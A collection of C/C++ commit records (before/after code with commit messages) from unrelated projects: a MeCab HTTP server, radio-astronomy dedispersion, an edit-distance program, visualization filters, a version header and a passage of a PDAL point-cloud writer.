evhttp_parse_query(uri, ¶ms); \
}
#define PARAM_GET_STR(var, params, name, mendatory) { \
var = evhttp_find_header(¶ms_get, name); \
if (!var && mendatory) { \
http_send(request, "<err message=\"field '" name "' is mendatory\"/>\n"); \
return; \
} \
}
inline static void output_xml_header(struct evbuffer *buffer) {
evbuffer_add_printf(buffer, "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n");
evbuffer_add_printf(buffer, "<root>\n");
}
inline static void output_xml_footer(struct evbuffer *buffer) {
evbuffer_add_printf(buffer, "</root>\n");
}
inline static void kana_output_xml(const char *kana, struct evbuffer *buffer) {
evbuffer_add_printf(buffer, "<kana><![CDATA[");
evbuffer_add_printf(buffer, "%s", kana);
evbuffer_add_printf(buffer, "]]></kana>\n");
}
inline static void parse_output_xml(const char *parse, struct evbuffer *buffer) {
evbuffer_add_printf(buffer, "<parse><![CDATA[");
evbuffer_add_printf(buffer, "%s", parse);
evbuffer_add_printf(buffer, "]]></parse>\n");
}
/**
*
*/
static void http_send(struct evhttp_request *request, const char *fmt, ...) {
struct evbuffer *buffer = evbuffer_new();
evhttp_add_header(request->output_headers, "Content-Type", "TEXT/XML; charset=UTF8");
va_list ap;
va_start(ap, fmt);
evbuffer_add_vprintf(buffer, fmt, ap);
va_end(ap);
evhttp_send_reply(request, HTTP_OK, "", buffer);
evbuffer_free(buffer);
}
/**** uri: *
*
*/
static void http_callback_default(struct evhttp_request *request, void *data) {
evhttp_send_error(request, HTTP_NOTFOUND, "Service not found");
}
/**** uri: /kana?str=*
*
*/
static void http_kana_callback(struct evhttp_request *request, void *data) {
//parse uri
struct evkeyvalq params_get;
PARSE_URI(request, params_get);
//get "str"
char const *str;
PARAM_GET_STR(str, ¶ms_get, "str", true);
//we parse into kana
Server* server = (Server*) data;
const char *kana = server->yomiTagger->parse(str);
//TODO add error handling
//prepare output
struct evbuffer *buffer = evbuffer_new();
output_xml_header(buffer);
kana_output_xml(kana, buffer);
output_xml_footer(buffer);
//send
evhttp_add_header(request->output_headers, "Content-Type", "TEXT/XML; charset=UTF8");
evhttp_send_reply(request, HTTP_OK, "", buffer);
}
/**** uri: /parse?str=*
*
*/
static void http_parse_callback(struct evhttp_request *request, void *data) {
//parse uri
struct evkeyvalq params_get;
PARSE_URI(request, params_get);
//get "str"
char const *str;
PARAM_GET_STR(str, ¶ms_get, "str", true);
//we parse into kana
Server* server = (Server*) data;
const char *parse = server->wakatiTagger->parse(str);
//TODO add error handling
//prepare output
struct evbuffer *buffer = evbuffer_new();
output_xml_header(buffer);
parse_output_xml(parse, buffer);
output_xml_footer(buffer);
//send
evhttp_add_header(request->output_headers, "Content-Type", "TEXT/XML; charset=UTF8");
evhttp_send_reply(request, HTTP_OK, "", buffer);
}
/**
*
*/
Server::Server(std::string address, int port) {
struct event_base *base = event_init();
struct evhttp *server = evhttp_new(base);
int res = evhttp_bind_socket(server, address.c_str(), port);
wakatiTagger = MeCab::createTagger("-Owakati");
yomiTagger = MeCab::createTagger("-Oyomi");
if (res != 0) {
std::cout << "[ERROR] Could not start http server!" << std::endl;
return;
}
evhttp_set_gencb(server, http_callback_default, this);
evhttp_set_cb(server, "/kana", http_kana_callback, this);
evhttp_set_cb(server, "/parse", http_parse_callback, this);
event_base_dispatch(base);
}
/**
*
*
*/
Server::~Server() {
delete wakatiTagger;
delete yomiTagger;
}
<|endoftext|>
|
<commit_before>// Copyright 2017 Netherlands Institute for Radio Astronomy (ASTRON)
// Copyright 2017 Netherlands eScience Center
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#include <Shifts.hpp>
namespace Dedispersion {
std::vector< float > * getShifts(AstroData::Observation & observation, const unsigned int padding) {
float inverseHighFreq = 1.0f / std::pow(observation.getMaxFreq(), 2.0f);
std::vector< float > * shifts = new std::vector< float >(observation.getNrChannels(padding / sizeof(float)));
for ( unsigned int channel = 0; channel < observation.getNrChannels() - 1; channel++ ) {
float inverseFreq = 1.0f / std::pow(observation.getMinFreq() + (channel * observation.getChannelBandwidth()), 2.0f);
shifts->at(channel) = 4148.808f * (inverseFreq - inverseHighFreq) * observation.getNrSamplesPerBatch();
}
shifts->at(observation.getNrChannels() - 1) = 0;
return shifts;
}
std::vector< float > * getShiftsStepTwo(AstroData::Observation & observation, const unsigned int padding) {
float inverseHighFreq = 1.0f / std::pow(observation.getSubbandMaxFreq(), 2.0f);
std::vector< float > * shifts = new std::vector< float >(observation.getNrSubbands(padding / sizeof(float)));
for ( unsigned int subband = 0; subband < observation.getNrSubbands() - 1; subband++ ) {
float inverseFreq = 1.0f / std::pow(observation.getSubbandMinFreq() + (subband * observation.getSubbandBandwidth()), 2.0f);
shifts->at(subband) = 4148.808f * (inverseFreq - inverseHighFreq) * observation.getNrSamplesPerBatch();
}
shifts->at(observation.getNrSubbands() - 1) = 0;
return shifts;
}
} // Dedispersion
<commit_msg>Compensating shifts for sampling that is different from 1 second.<commit_after>// Copyright 2017 Netherlands Institute for Radio Astronomy (ASTRON)
// Copyright 2017 Netherlands eScience Center
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#include <Shifts.hpp>
namespace Dedispersion {
std::vector< float > * getShifts(AstroData::Observation & observation, const unsigned int padding) {
float inverseHighFreq = 1.0f / std::pow(observation.getMaxFreq(), 2.0f);
std::vector< float > * shifts = new std::vector< float >(observation.getNrChannels(padding / sizeof(float)));
for ( unsigned int channel = 0; channel < observation.getNrChannels() - 1; channel++ ) {
float inverseFreq = 1.0f / std::pow(observation.getMinFreq() + (channel * observation.getChannelBandwidth()), 2.0f);
shifts->at(channel) = 4148.808f * (inverseFreq - inverseHighFreq) * observation.getNrSamplesPerBatch();
shifts->at(channel) /= observation.getNrSamplesPerBatch() * observation.getSamplingTime();
}
shifts->at(observation.getNrChannels() - 1) = 0;
return shifts;
}
std::vector< float > * getShiftsStepTwo(AstroData::Observation & observation, const unsigned int padding) {
float inverseHighFreq = 1.0f / std::pow(observation.getSubbandMaxFreq(), 2.0f);
std::vector< float > * shifts = new std::vector< float >(observation.getNrSubbands(padding / sizeof(float)));
for ( unsigned int subband = 0; subband < observation.getNrSubbands() - 1; subband++ ) {
float inverseFreq = 1.0f / std::pow(observation.getSubbandMinFreq() + (subband * observation.getSubbandBandwidth()), 2.0f);
shifts->at(subband) = 4148.808f * (inverseFreq - inverseHighFreq) * observation.getNrSamplesPerBatch();
shifts->at(subband) /= observation.getNrSamplesPerBatch() * observation.getSamplingTime();
}
shifts->at(observation.getNrSubbands() - 1) = 0;
return shifts;
}
} // Dedispersion
<|endoftext|>
|
<commit_before>#include <cstdio>
#include <iostream>
#include <vector>
#include <cmath>
#include "SubmatrixCalculator.cpp"
#define BLANK_CHAR '-'
using namespace std;
vector<vector<string > > final_columns;
vector<vector<string > > final_rows;
string string_a, string_b;
int submatrix_dim;
int row_num;
int column_num;
void pad_string()
{
}
void initialize_edit_matrix()
{
final_columns.resize(row_num+1, vector<string>(row_num+1, ""));
final_rows.resize(column_num+1, vector<string>(column_num+1, ""));
string initial_string = SubmatrixCalculator::stepsToString(vector<int>(submatrix_dim+1, 1));
for (int submatrix_i=1; submatrix_i<=row_num; submatrix_i++)
final_columns[submatrix_i][0] = initial_string;
for (int submatrix_j=1; submatrix_j<=column_num; submatrix_j++)
final_rows[0][submatrix_j] = initial_string;
final_columns[1][0][0] -= 1;
final_rows[0][1][0] -= 1;
}
void fill_edit_matrix(SubmatrixCalculator subm_calc)
{
for (int submatrix_i=1; submatrix_i<=row_num; submatrix_i++) {
for (int submatrix_j=1; submatrix_j<=column_num; submatrix_j++) {
pair<string, string> final_steps = subm_calc.getFinalSteps(
string_a.substr((submatrix_i-1)*submatrix_dim, submatrix_dim),
string_b.substr((submatrix_j-1)*submatrix_dim, submatrix_dim),
final_columns[submatrix_i][submatrix_j-1].substr(1),
final_rows[submatrix_i-1][submatrix_j].substr(1));
final_columns[submatrix_i][submatrix_j] = final_steps.first;
final_rows[submatrix_i][submatrix_j] = final_steps.second;
}
}
}
int calc_edit_distance(SubmatrixCalculator subm_calc)
{
int edit_distance = 0;
for (int submatrix_i=1; submatrix_i<=row_num; submatrix_i++) {
edit_distance += subm_calc.sumSteps(final_columns[submatrix_i][0].substr(1));
cout<<edit_distance<<endl;
}
cout<<endl;
for (int submatrix_j=1; submatrix_j<=column_num; submatrix_j++) {
edit_distance += subm_calc.sumSteps(final_rows[row_num][submatrix_j].substr(1));
cout<<final_rows[row_num][submatrix_j].substr(1)<<endl;
}
return edit_distance;
}
int main() {
//read strings a and b
string_a = "TAATCC";
string_b = "ATTACC";
//submatrix_dim = ceil(log(string_a.size()) / log(12));
submatrix_dim = 2;
cout << "Submatrix dimension: " << submatrix_dim << endl;
cout << "String A size: " << string_a.size() << endl;
cout << "String B size: " << string_b.size() << endl;
// pad strings to fit dimension
SubmatrixCalculator subm_calc(submatrix_dim, "ATGC");
subm_calc.calculate();
row_num = string_a.size() / (submatrix_dim);
column_num = string_b.size() / (submatrix_dim);
cout << "Submatrices in edit table: " << row_num << "x" << column_num << endl;
initialize_edit_matrix();
fill_edit_matrix(subm_calc);
cout << "Edit distance: " << calc_edit_distance(subm_calc) << endl;
return 0;
}
<commit_msg>Cleaning up<commit_after>#include <cstdio>
#include <iostream>
#include <vector>
#include <cmath>
#include "SubmatrixCalculator.cpp"
#define BLANK_CHAR '-'
using namespace std;
vector<vector<string > > final_columns;
vector<vector<string > > final_rows;
string string_a, string_b;
int submatrix_dim;
int row_num;
int column_num;
void pad_string()
{
}
void initialize_edit_matrix()
{
final_columns.resize(row_num+1, vector<string>(row_num+1, ""));
final_rows.resize(column_num+1, vector<string>(column_num+1, ""));
string initial_string = SubmatrixCalculator::stepsToString(vector<int>(submatrix_dim+1, 1));
for (int submatrix_i=1; submatrix_i<=row_num; submatrix_i++)
final_columns[submatrix_i][0] = initial_string;
for (int submatrix_j=1; submatrix_j<=column_num; submatrix_j++)
final_rows[0][submatrix_j] = initial_string;
final_columns[1][0][0] -= 1;
final_rows[0][1][0] -= 1;
}
void fill_edit_matrix(SubmatrixCalculator subm_calc)
{
for (int submatrix_i=1; submatrix_i<=row_num; submatrix_i++) {
for (int submatrix_j=1; submatrix_j<=column_num; submatrix_j++) {
pair<string, string> final_steps = subm_calc.getFinalSteps(
string_a.substr((submatrix_i-1)*submatrix_dim, submatrix_dim),
string_b.substr((submatrix_j-1)*submatrix_dim, submatrix_dim),
final_columns[submatrix_i][submatrix_j-1].substr(1),
final_rows[submatrix_i-1][submatrix_j].substr(1));
final_columns[submatrix_i][submatrix_j] = final_steps.first;
final_rows[submatrix_i][submatrix_j] = final_steps.second;
}
}
}
int calc_edit_distance(SubmatrixCalculator subm_calc)
{
int edit_distance = 0;
for (int submatrix_i=1; submatrix_i<=row_num; submatrix_i++) {
edit_distance += subm_calc.sumSteps(final_columns[submatrix_i][0].substr(1));
}
for (int submatrix_j=1; submatrix_j<=column_num; submatrix_j++) {
edit_distance += subm_calc.sumSteps(final_rows[row_num][submatrix_j].substr(1));
}
return edit_distance;
}
int main() {
//read strings a and b
string_a = "ATTACC";
string_b = "ATTACG";
//submatrix_dim = ceil(log(string_a.size()) / log(12));
submatrix_dim = 2;
cout << "Submatrix dimension: " << submatrix_dim << endl;
cout << "String A size: " << string_a.size() << endl;
cout << "String B size: " << string_b.size() << endl;
// pad strings to fit dimension
SubmatrixCalculator subm_calc(submatrix_dim, "ATGC");
subm_calc.calculate();
row_num = string_a.size() / (submatrix_dim);
column_num = string_b.size() / (submatrix_dim);
cout << "Submatrices in edit table: " << row_num << "x" << column_num << endl;
initialize_edit_matrix();
fill_edit_matrix(subm_calc);
cout << "Edit distance: " << calc_edit_distance(subm_calc) << endl;
return 0;
}
<|endoftext|>
|
<commit_before>/*=========================================================================
Program: Visualization Library
Module: StrPtsF.cc
Language: C++
Date: $Date$
Version: $Revision$
Description:
---------------------------------------------------------------------------
This file is part of the Visualization Library. No part of this file
or its contents may be copied, reproduced or altered in any way
without the express written consent of the authors.
Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen 1993, 1994
=========================================================================*/
#include "StrPtsF.hh"
vlStructuredPointsFilter::~vlStructuredPointsFilter()
{
}
// Description:
// Specify the input data or filter.
void vlStructuredPointsFilter::SetInput(vlStructuredPoints *input)
{
if ( this->Input != input )
{
vl_DebugMacro(<<" setting Input to " << (void *)input);
this->Input = (vlDataSet *) input;
this->_Modified();
}
}
void vlStructuredPointsFilter::_PrintSelf(ostream& os, vlIndent indent)
{
vlFilter::_PrintSelf(os,indent);
}
<commit_msg>*** empty log message ***<commit_after>/*=========================================================================
Program: Visualization Library
Module: StrPtsF.cc
Language: C++
Date: $Date$
Version: $Revision$
This file is part of the Visualization Library. No part of this file
or its contents may be copied, reproduced or altered in any way
without the express written consent of the authors.
Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen 1993, 1994
=========================================================================*/
#include "StrPtsF.hh"
vlStructuredPointsFilter::~vlStructuredPointsFilter()
{
}
// Description:
// Specify the input data or filter.
void vlStructuredPointsFilter::SetInput(vlStructuredPoints *input)
{
if ( this->Input != input )
{
vl_DebugMacro(<<" setting Input to " << (void *)input);
this->Input = (vlDataSet *) input;
this->_Modified();
}
}
void vlStructuredPointsFilter::_PrintSelf(ostream& os, vlIndent indent)
{
vlFilter::_PrintSelf(os,indent);
}
<|endoftext|>
|
<commit_before>
#include "datavis/Surf3D.hpp"
#include <osg/Geometry>
#include <fstream>
#include <sstream>
#include <iostream>
using namespace datavis;
Surf3D::Surf3D()
{
}
Surf3D::Surf3D(const std::string &filename, osg::Vec4 color) :
color(color)
{
std::ifstream filestream;
filestream.open(filename.c_str());
if(!filestream.is_open())
{
std::cerr << "Could not open '" << filename << "' to generate a surface plot!" << std::endl;
return;
}
std::string fileline;
double value;
std::vector<double> dataline;
while(filestream.good())
{
dataline.clear();
std::getline(filestream, fileline);
std::stringstream datastream(fileline);
while(datastream.good())
{
datastream >> value;
dataline.push_back(value);
}
data.push_back(dataline);
}
assemble();
}
Surf3D::~Surf3D()
{
// delete _geom;
// delete _verts;
// delete _colors;
}
void Surf3D::assemble()
{
if(data.size() < 2)
{
std::cerr << "Not enough layers to make a surface plot!" << std::endl;
return;
}
size_t layersize = data[0].size();
size_t pointcount = (layersize-1)/2;
_geom = new osg::Geometry;
_verts = new osg::Vec3Array;
_colors = new osg::Vec4Array;
_colors->push_back(color);
_faces = new osg::DrawElementsUInt(osg::PrimitiveSet::QUADS, 0);
for(size_t i=0; i<data.size(); ++i)
{
const std::vector<double>& values = data[i];
if(values.size() != layersize)
{
std::cerr << "Size of layer " << i << " (" << values.size()
<< ") does not match the rest (" << layersize << ")!"
<< std::endl;
}
double z = values[0];
double x=0, y=0;
for(size_t j=0; j<pointcount; ++j)
{
x = values[2*j+1];
y = values[2*j+2];
_verts->push_back(osg::Vec3(x,y,z));
}
}
for(size_t i=0; i<data.size()-1; ++i)
{
for(size_t j=0; j<pointcount-1; ++j)
{
_faces->push_back(layersize*i + j);
_faces->push_back(layersize*i + j+1);
_faces->push_back(layersize*(i+1) + j);
_faces->push_back(layersize*(i+1) + j+1);
}
}
}
<commit_msg>trying to make a 3D surface plot<commit_after>
#include "datavis/Surf3D.hpp"
#include <osg/Geometry>
#include <fstream>
#include <sstream>
#include <iostream>
using namespace datavis;
Surf3D::Surf3D()
{
}
Surf3D::Surf3D(const std::string &filename, osg::Vec4 color) :
color(color)
{
std::ifstream filestream;
filestream.open(filename.c_str());
if(!filestream.is_open())
{
std::cerr << "Could not open '" << filename << "' to generate a surface plot!" << std::endl;
return;
}
std::string fileline;
double value;
std::vector<double> dataline;
while(filestream.good())
{
dataline.clear();
std::getline(filestream, fileline);
std::stringstream datastream(fileline);
while(datastream.good())
{
datastream >> value;
dataline.push_back(value);
}
data.push_back(dataline);
}
assemble();
}
Surf3D::~Surf3D()
{
// delete _geom;
// delete _verts;
// delete _colors;
}
void Surf3D::assemble()
{
if(data.size() < 2)
{
std::cerr << "Not enough layers to make a surface plot!" << std::endl;
return;
}
size_t layersize = data[0].size();
size_t pointcount = (layersize-1)/2;
_geom = new osg::Geometry;
_verts = new osg::Vec3Array;
_colors = new osg::Vec4Array;
_colors->push_back(color);
_faces = new osg::DrawElementsUInt(osg::PrimitiveSet::QUADS, 0);
for(size_t i=0; i<data.size(); ++i)
{
const std::vector<double>& values = data[i];
if(values.size() != layersize)
{
std::cerr << "Size of layer " << i << " (" << values.size()
<< ") does not match the rest (" << layersize << ")!"
<< std::endl;
}
double z = values[0];
double x=0, y=0;
for(size_t j=0; j<pointcount; ++j)
{
x = values[2*j+1];
y = values[2*j+2];
_verts->push_back(osg::Vec3(x,y,z));
}
}
for(size_t i=0; i<data.size()-1; ++i)
{
for(size_t j=0; j<pointcount-1; ++j)
{
_faces->push_back(layersize*i + j);
_faces->push_back(layersize*i + j+1);
_faces->push_back(layersize*(i+1) + j);
_faces->push_back(layersize*(i+1) + j+1);
}
}
_geom->setVertexArray(_verts);
_geom->addPrimitiveSet(_faces);
_geom->setColorArray(_colors);
_geom->setColorBinding(osg::Geometry::BIND_PER_PRIMITIVE_SET);
this->addDrawable(_geom);
}
<|endoftext|>
|
<commit_before>//
// Copyright 2016 Giovanni Mels
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
#ifndef CTURTLE_VERSION_HH
#define CTURTLE_VERSION_HH
#define CTURTLE_MAJOR_VERSION 1
#define CTURTLE_MINOR_VERSION 0
#define CTURTLE_PATCH_VERSION 4
//#define CTURTLE_QUALIFIER_VERSION "SNAPSHOT"
#define CTURTLE_STR(x) #x
#ifdef CTURTLE_QUALIFIER_VERSION
# define CTURTLE_VERSION(MAJ, MIN, PATCH) CTURTLE_STR(MAJ) "." CTURTLE_STR(MIN) "." CTURTLE_STR(PATCH) "-" CTURTLE_QUALIFIER_VERSION
#else
# define CTURTLE_VERSION(MAJ, MIN, PATCH) CTURTLE_STR(MAJ) "." CTURTLE_STR(MIN) "." CTURTLE_STR(PATCH)
#endif
#define CTURTLE_VERSION_STR CTURTLE_VERSION(CTURTLE_MAJOR_VERSION, CTURTLE_MINOR_VERSION, CTURTLE_PATCH_VERSION)
#endif /* CTURTLE_VERSION_HH */
<commit_msg>v1.0.5 snaphot.<commit_after>//
// Copyright 2016 Giovanni Mels
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
#ifndef CTURTLE_VERSION_HH
#define CTURTLE_VERSION_HH
#define CTURTLE_MAJOR_VERSION 1
#define CTURTLE_MINOR_VERSION 0
#define CTURTLE_PATCH_VERSION 5
#define CTURTLE_QUALIFIER_VERSION "SNAPSHOT"
#define CTURTLE_STR(x) #x
#ifdef CTURTLE_QUALIFIER_VERSION
# define CTURTLE_VERSION(MAJ, MIN, PATCH) CTURTLE_STR(MAJ) "." CTURTLE_STR(MIN) "." CTURTLE_STR(PATCH) "-" CTURTLE_QUALIFIER_VERSION
#else
# define CTURTLE_VERSION(MAJ, MIN, PATCH) CTURTLE_STR(MAJ) "." CTURTLE_STR(MIN) "." CTURTLE_STR(PATCH)
#endif
#define CTURTLE_VERSION_STR CTURTLE_VERSION(CTURTLE_MAJOR_VERSION, CTURTLE_MINOR_VERSION, CTURTLE_PATCH_VERSION)
#endif /* CTURTLE_VERSION_HH */
<|endoftext|>
|
<commit_before>/******************************************************************************
* Copyright (c) 2011, Michael P. Gerlek (mpg@flaxen.com)
*
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following
* conditions are met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided
* with the distribution.
* * Neither the name of Hobu, Inc. or Flaxen Geo Consulting nor the
* names of its contributors may be used to endorse or promote
* products derived from this software without specific prior
* written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY
* OF SUCH DAMAGE.
****************************************************************************/
//
#include <boost/scoped_ptr.hpp>
#include <pdal/Writer.hpp>
#include <pdal/StageIterator.hpp>
#include <pdal/Stage.hpp>
#include <pdal/PointBuffer.hpp>
#include <pdal/UserCallback.hpp>
#include <pdal/PipelineWriter.hpp>
#ifdef PDAL_COMPILER_MSVC
# pragma warning(disable: 4127) // conditional expression is constant
#endif
namespace pdal
{
const boost::uint32_t Writer::s_defaultChunkSize = 1024 * 32;
Writer::Writer(Stage& prevStage, const Options& options)
: StageBase(StageBase::makeVector(prevStage), options)
, m_chunkSize(options.getValueOrDefault("chunk_size", s_defaultChunkSize))
, m_userCallback(0)
{
return;
}
void Writer::initialize()
{
StageBase::initialize();
return;
}
void Writer::setChunkSize(boost::uint32_t chunkSize)
{
m_chunkSize = chunkSize;
}
boost::uint32_t Writer::getChunkSize() const
{
return m_chunkSize;
}
const SpatialReference& Writer::getSpatialReference() const
{
return m_spatialReference;
}
void Writer::setSpatialReference(const SpatialReference& srs)
{
m_spatialReference = srs;
}
void Writer::setUserCallback(UserCallback* userCallback)
{
m_userCallback = userCallback;
}
UserCallback* Writer::getUserCallback() const
{
return m_userCallback;
}
static void do_callback(double perc, UserCallback* callback)
{
if (!callback) return;
bool ok = callback->check(perc);
if (!ok)
{
throw pipeline_interrupt("user requested interrupt");
}
return;
}
static void do_callback(boost::uint64_t pointsWritten, boost::uint64_t pointsToWrite, UserCallback* callback)
{
if (!callback) return;
bool ok = false;
if (pointsToWrite == 0)
{
ok = callback->check();
}
else
{
double perc = ((double)pointsWritten / (double)pointsToWrite) * 100.0;
ok = callback->check(perc);
}
if (!ok)
{
throw pipeline_interrupt("user requested interrupt");
}
return;
}
boost::uint64_t Writer::write(boost::uint64_t targetNumPointsToWrite)
{
if (!isInitialized())
{
throw pdal_error("stage not initialized");
}
boost::uint64_t actualNumPointsWritten = 0;
UserCallback* callback = getUserCallback();
do_callback(0.0, callback);
boost::scoped_ptr<StageSequentialIterator> iter(getPrevStage().createSequentialIterator());
if (!iter) throw pdal_error("Unable to obtain iterator from previous stage!");
// if we don't have an SRS, try to forward the one from the prev stage
if (m_spatialReference.empty()) m_spatialReference = getPrevStage().getSpatialReference();
writeBegin(targetNumPointsToWrite);
iter->readBegin();
const Schema& schema = getPrevStage().getSchema();
PointBuffer buffer(schema, m_chunkSize);
//
// The user has requested a specific number of points: proceed a
// chunk at a time until we reach that number. (If that number
// is 0, we proceed until no more points can be read.)
//
// If the user requests an interrupt while we're running, we'll throw.
//
while (true)
{
// have we hit the end already?
if (iter->atEnd()) break;
// rebuild our PointBuffer, if it needs to hold less than the default max chunk size
if (targetNumPointsToWrite != 0)
{
const boost::uint64_t numRemainingPointsToRead = targetNumPointsToWrite - actualNumPointsWritten;
const boost::uint64_t numPointsToReadThisChunk64 = std::min<boost::uint64_t>(numRemainingPointsToRead, m_chunkSize);
// this case is safe because m_chunkSize is a uint32
const boost::uint32_t numPointsToReadThisChunk = static_cast<boost::uint32_t>(numPointsToReadThisChunk64);
// we are reusing the buffer, so we may need to adjust the capacity for the last (and likely undersized) chunk
if (buffer.getCapacity() != numPointsToReadThisChunk)
{
buffer = PointBuffer(schema, numPointsToReadThisChunk);
}
}
// read...
iter->readBufferBegin(buffer);
const boost::uint32_t numPointsReadThisChunk = iter->readBuffer(buffer);
iter->readBufferEnd(buffer);
assert(numPointsReadThisChunk == buffer.getNumPoints());
assert(numPointsReadThisChunk <= buffer.getCapacity());
// have we reached the end yet?
if (numPointsReadThisChunk == 0) break;
// write...
writeBufferBegin(buffer);
const boost::uint32_t numPointsWrittenThisChunk = writeBuffer(buffer);
assert(numPointsWrittenThisChunk == numPointsReadThisChunk);
writeBufferEnd(buffer);
// update count
actualNumPointsWritten += numPointsWrittenThisChunk;
do_callback(actualNumPointsWritten, targetNumPointsToWrite, callback);
if (targetNumPointsToWrite != 0)
{
// have we done enough yet?
if (actualNumPointsWritten >= targetNumPointsToWrite) break;
}
// reset the buffer, so we can use it again
buffer.setNumPoints(0);
}
iter->readEnd();
writeEnd(actualNumPointsWritten);
assert((targetNumPointsToWrite == 0) || (actualNumPointsWritten <= targetNumPointsToWrite));
do_callback(100.0, callback);
return actualNumPointsWritten;
}
boost::property_tree::ptree Writer::serializePipeline() const
{
boost::property_tree::ptree tree;
tree.add("<xmlattr>.type", getName());
PipelineWriter::write_option_ptree(tree, getOptions());
const Stage& stage = getPrevStage();
boost::property_tree::ptree subtree = stage.serializePipeline();
tree.add_child(subtree.begin()->first, subtree.begin()->second);
boost::property_tree::ptree root;
root.add_child("Writer", tree);
return root;
}
boost::property_tree::ptree Writer::toPTree() const
{
boost::property_tree::ptree tree = StageBase::toPTree();
// (nothing to add for a Writer)
return tree;
}
} // namespace pdal
<commit_msg>use the PointBuffers schema for creating new PointBuffers in case someone changed it<commit_after>/******************************************************************************
* Copyright (c) 2011, Michael P. Gerlek (mpg@flaxen.com)
*
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following
* conditions are met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided
* with the distribution.
* * Neither the name of Hobu, Inc. or Flaxen Geo Consulting nor the
* names of its contributors may be used to endorse or promote
* products derived from this software without specific prior
* written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY
* OF SUCH DAMAGE.
****************************************************************************/
//
#include <boost/scoped_ptr.hpp>
#include <pdal/Writer.hpp>
#include <pdal/StageIterator.hpp>
#include <pdal/Stage.hpp>
#include <pdal/PointBuffer.hpp>
#include <pdal/UserCallback.hpp>
#include <pdal/PipelineWriter.hpp>
#ifdef PDAL_COMPILER_MSVC
# pragma warning(disable: 4127) // conditional expression is constant
#endif
namespace pdal
{
const boost::uint32_t Writer::s_defaultChunkSize = 1024 * 32;
Writer::Writer(Stage& prevStage, const Options& options)
: StageBase(StageBase::makeVector(prevStage), options)
, m_chunkSize(options.getValueOrDefault("chunk_size", s_defaultChunkSize))
, m_userCallback(0)
{
return;
}
void Writer::initialize()
{
StageBase::initialize();
return;
}
void Writer::setChunkSize(boost::uint32_t chunkSize)
{
m_chunkSize = chunkSize;
}
boost::uint32_t Writer::getChunkSize() const
{
return m_chunkSize;
}
const SpatialReference& Writer::getSpatialReference() const
{
return m_spatialReference;
}
void Writer::setSpatialReference(const SpatialReference& srs)
{
m_spatialReference = srs;
}
